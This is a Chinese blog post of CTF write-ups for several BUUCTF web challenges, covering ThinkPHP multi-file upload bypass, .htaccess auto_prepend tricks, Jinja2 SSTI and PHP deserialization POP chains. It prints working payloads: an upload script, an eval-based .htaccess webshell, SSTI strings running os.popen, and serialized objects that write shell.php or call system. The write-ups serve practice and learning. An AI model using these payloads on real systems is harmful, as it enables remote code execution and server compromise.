buu刷题(4)
迪丽瓦拉
2025-06-01 13:25:31
0

目录

[HFCTF2020]BabyUpload

[XNUCA2019Qualifier]EasyPHP

.htaccess包含文件

第一种方法

 第二种方法

[GWCTF 2019]你的名字

[EIS 2019]EzPOP

[2020 新春红包题]1

如何绕过后缀名呢

 方法一

还有一点就是json格式的数据会被执行吗,实践试试 

 构造一下试试,不能做理论家!

 方法二

[HFCTF2020]BabyUpload

maxSize  = 4096 ;// 设置附件上传大小$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型$upload->rootPath = './Public/Uploads/';// 设置附件上传目录$upload->savePath = '';// 设置附件上传子目录$info = $upload->upload() ;if(!$info) {// 上传错误提示错误信息$this->error($upload->getError());return;}else{// 上传成功 获取上传文件信息$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;echo json_encode(array("url"=>$url,"success"=>1));}}
}

第一眼就想,这应该是一个框架,这点是部分的源码。

首先,我们如何把文件上传上去呢,用html还是有隐藏的路由。

扫完目录就一些403并没有什么用。

用html上传后界面没有任何的响应

第一次接触thinkphp上传没经验,百度得知, thinkphp默认上传位置为/index.php/home/index/upload,我们可以用burp或者脚本上传文件。

upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。

题目中只限制了 F I L E S [ f i l e ] ∗ ∗ 的上传后缀,也只给出 ∗ ∗ _FILES[file]** 的上传后缀,也只给出 ** FILES[file]∗∗的上传后缀,也只给出∗∗_FILES[file] 上传后的路径,那我们上传多文件就可以绕过 

这句话的意思就是,

import requests
import time
url='http://48fb02f2-8f8a-4b5b-a927-1cf3e4f4c0f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1={'file':open('1.txt','r')}
file2={'file[]':open('2.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url,files = file1)
print(r.text)

只会检测第一个1.txt,而不会检测php的,然后通过uniqid来生成文件名,这样上传三个,我们就可以把中间的php锁定在一个范围然后就行爆破200.

 $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');这句话无用是因为,thinkphp中的函数时Exts

[XNUCA2019Qualifier]EasyPHP

思考:本来想直接传入文件然后传个一句话马,把后面注释掉。

但是我构造马的时候发现空格报错,于是用%0a替换空格

想办法把后面的东西注释掉,死亡绕过exit呀,

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 本来想直接带入发现显示hacker,分析得知

if(preg_match("/[^a-z\.]/", $filename) == 1) {

里面只有小写字母和.,://统统不行,

本来想用多行注释发现也不行, 

人傻了,上面的思路全部错掉,上面输入的filename文件,其实是没有权限执行php代码的,这点我们可以通过phpinfo();来得知仅仅是输出的作用。所以我们现在要做的就是如何让我们的文件执行!!!

.htaccess包含文件

第一种方法

如果将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会。

php_value auto_prepend_fi\
le ".htaccess"
#\

 这里注释的原因是,在php中#是注释符,但在.htaccess中#就没用了。

然后进行url编码生成

php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20%40eval(%24_GET%5B'cmd'%5D)%3B%20%3F%3E%5C

?filename=.htaccess&content=php_value auto_prepend_fi\%0Ale ".htaccess"%0A%23<%3Fphp %40eval(%24_GET['cmd'])%3B %3F>\ 

有个缺点就是每生成一次只能执行一次,因为执行完.htaccess就会删除 

 

 第二种方法

 首先通过 error_log来自定义错误文件路径,如/tmp/fl3g.php,然后设置include_path来改变include()或require()函数包含文件的录路径,这里可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上,因此思路就是先include_path不存在的目录/+恶意代码,同时将报错日志路径设为/tmp/fl3g.php,然后访问报错后再将include_path设为/tmp,即可让index.php包含fl3g.php来getshell,但有个小问题error_log中的内容是htmlentities的,也就是说会将<>等特殊字符实体编码,需要转为utf-7来绕过

[GWCTF 2019]你的名字

打开界面以为是模板注入但是,{{3*3}}还是{%3%}都报错,看源码 newwork没啥有用的信息。

 感觉这个输入框就只有打印的功能, 我输入什么就会输出什么,ok是我不会的题。

呃呃呃打开wp人傻了,只能形容会但会的不多。

也是通过报错推断出过滤了{{而没用过滤{,这里我用的是{%3*3%}发现回显的是,

返回500,这里看有的解释到是因为有的运算符也被办了,所以我们可以用另一种方法

{%print 'sfsfsf'%}

因为是无回显的所以加个print输出出来,name={%set a='1'%}赋值也可以没报错就是实现了。

然后这里的lipsum{{lipsum}}测了一下发现是个方法

发现可以用,那就简单多了

{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

直接执行报错500有过滤,拼接绕:

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /f*').read()%}

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}

或者分开绕过,获得flag

[EIS 2019]EzPOP

发现json加密的结果是这样子 

cache = array();$this->complete = base64_encode("xxx".base64_encode(''));$this->key = "shell.php";$this->store = new B();$this->autosave = false;$this->expire = 0;}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));

因为里面的绝大部分可控,最后是个绕过exit就行,固然base编码,绕过但是

php(12个字符)//exit,base64是4个一体,所以需要补充三个字符  3+9=12随机三个就行

然后json编码会解析错误一些符号,所以需要base64编码绕过。

以下是我做题的笔记 

this->cache 的值是可以自定义的this->complete```
$expire = $this->options['expire'];
``````
$cache_filename = $this->options['prefix'] . uniqid() . $name; 直接$name=空
``````
$serialize = $this->options['serialize'];
``````
data的由来
$value
$contents
最后就是 
[{"a":"12","b":"33"},12]cache,complete
``````
$data = "\n" . $data;
$result = file_put_contents($filename, $data);
```this->store=new B();```
$data = "\n" . $data;$result = file_put_contents($filename, $data);  php://filter/write-decode/resource=  后面跟我们的base64加密数据,base64四个字节一组,17/20需要加3个
```$content的值其实就是:[{"a":"12","b":"33"},12]cache,complete```
set($this->key, $contents, $this->expire);$name,   $value,    $expire = null
``````
传入base64,然后过滤器解码写入,访问文件
```

 然后访问shell.php,

$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}

 

这里写入文件中的是base64解码后的 

[2020 新春红包题]1

这道题是在[EIS 2019]EzPOP题的基础上修改的,所以我们只看一下添加的过滤代码

$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}

发现加上了uniqid()这个函数根据时间产生唯一值,是一直变化,并且后缀名字做了检查不能是.php,检查方式是直接判断后四位是不是.php,需要我们想办法绕过它。

这里提个问题, $data = $this->serialize($value);我们为什么不直接让$this->serialize变成system直接命令执行不就好了吗,直接看value的值从哪来的

value->contents->cache 和 complete数据json编码获得的也可控,那么就要想如何绕过uuiqid(),看见了牛的姿势,理论很简单但是我真没想到,加上

/uploads/uuiqid().../shell.php,../返回目录那么其实就是调用了/uploads/shell.php

如何绕过后缀名呢

uploads/48342/../1.php/.会在uploads目录生成1.php。哇哦好神奇

 方法一

还有一点就是json格式的数据会被执行吗,实践试试 

发现json后的数据也会执行,这时候又想了一下如果有多个数组会不会都被执行 

最终发现无论在哪只要 ``都可以执行🐂 

 构造一下试试,不能做理论家!

store = new B();
$this->key = '1';
$this->cache = array('a'=>'`cat /flag > ./uploads/1.txt`');
}
}class B{
public $options = [
'serialize' => 'system'
];
}echo urlencode(serialize(new A()));

./指的是当前目录 

 这种都可以获得flag,上面的铺垫是为了方法二。

 方法二

这个方法和上面的题思路差不多,把$serialize就作为serialize,然后用上面的方法进行绕过

但是在这里的时候我被卡住了,因为我们最后要绕过exit就需要base64编码绕过,但是上面从哪里就行编码呢

本来我想的是在serialize方法处直接,base64_encode(serialize())但是这种不能啊,因为传参进来就变成了base64_encode(serialize())();肯定不对

这里想了一下能不能直接上传base64编码后的数据,

cache = array();$this->complete = base64_encode("xxx".base64_encode(''));$this->key = "/../she2.php/.";$this->store = new B();$this->autosave = false;$this->expire = 0;}}
class B{public $options = array();function __construct(){$this->options['serialize'] = 'base64_decode';$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';$this->options['data_compress'] = false;}
}
echo urlencode(serialize(new A()));

ps:md 早搞出来了,太马虎了程序,php命令写错了导致搞了好久。

 直接传会报错好奇怪,应该是php内部直接解析的错误。

 

相关内容

热门资讯

linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
C++ 机房预约系统(六):学... 8、 学生模块 8.1 学生子菜单、登录和注销 实现步骤: 在Student.cpp的...
A.机器学习入门算法(三):基... 机器学习算法(三):K近邻(k-nearest neigh...
数字温湿度传感器DHT11模块... 模块实例https://blog.csdn.net/qq_38393591/article/deta...
有限元三角形单元的等效节点力 文章目录前言一、重新复习一下有限元三角形单元的理论1、三角形单元的形函数(Nÿ...
Redis 所有支持的数据结构... Redis 是一种开源的基于键值对存储的 NoSQL 数据库,支持多种数据结构。以下是...
win下pytorch安装—c... 安装目录一、cuda安装1.1、cuda版本选择1.2、下载安装二、cudnn安装三、pytorch...
MySQL基础-多表查询 文章目录MySQL基础-多表查询一、案例及引入1、基础概念2、笛卡尔积的理解二、多表查询的分类1、等...
keil调试专题篇 调试的前提是需要连接调试器比如STLINK。 然后点击菜单或者快捷图标均可进入调试模式。 如果前面...
MATLAB | 全网最详细网... 一篇超超超长,超超超全面网络图绘制教程,本篇基本能讲清楚所有绘制要点&#...
IHome主页 - 让你的浏览... 随着互联网的发展,人们越来越离不开浏览器了。每天上班、学习、娱乐,浏览器...
TCP 协议 一、TCP 协议概念 TCP即传输控制协议(Transmission Control ...
营业执照的经营范围有哪些 营业执照的经营范围有哪些 经营范围是指企业可以从事的生产经营与服务项目,是进行公司注册...
C++ 可变体(variant... 一、可变体(variant) 基础用法 Union的问题: 无法知道当前使用的类型是什...
血压计语音芯片,电子医疗设备声... 语音电子血压计是带有语音提示功能的电子血压计,测量前至测量结果全程语音播报࿰...
MySQL OCP888题解0... 文章目录1、原题1.1、英文原题1.2、答案2、题目解析2.1、题干解析2.2、选项解析3、知识点3...
【2023-Pytorch-检... (肆十二想说的一些话)Yolo这个系列我们已经更新了大概一年的时间,现在基本的流程也走走通了,包含数...
实战项目:保险行业用户分类 这里写目录标题1、项目介绍1.1 行业背景1.2 数据介绍2、代码实现导入数据探索数据处理列标签名异...
记录--我在前端干工地(thr... 这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 前段时间接触了Th...
43 openEuler搭建A... 文章目录43 openEuler搭建Apache服务器-配置文件说明和管理模块43.1 配置文件说明...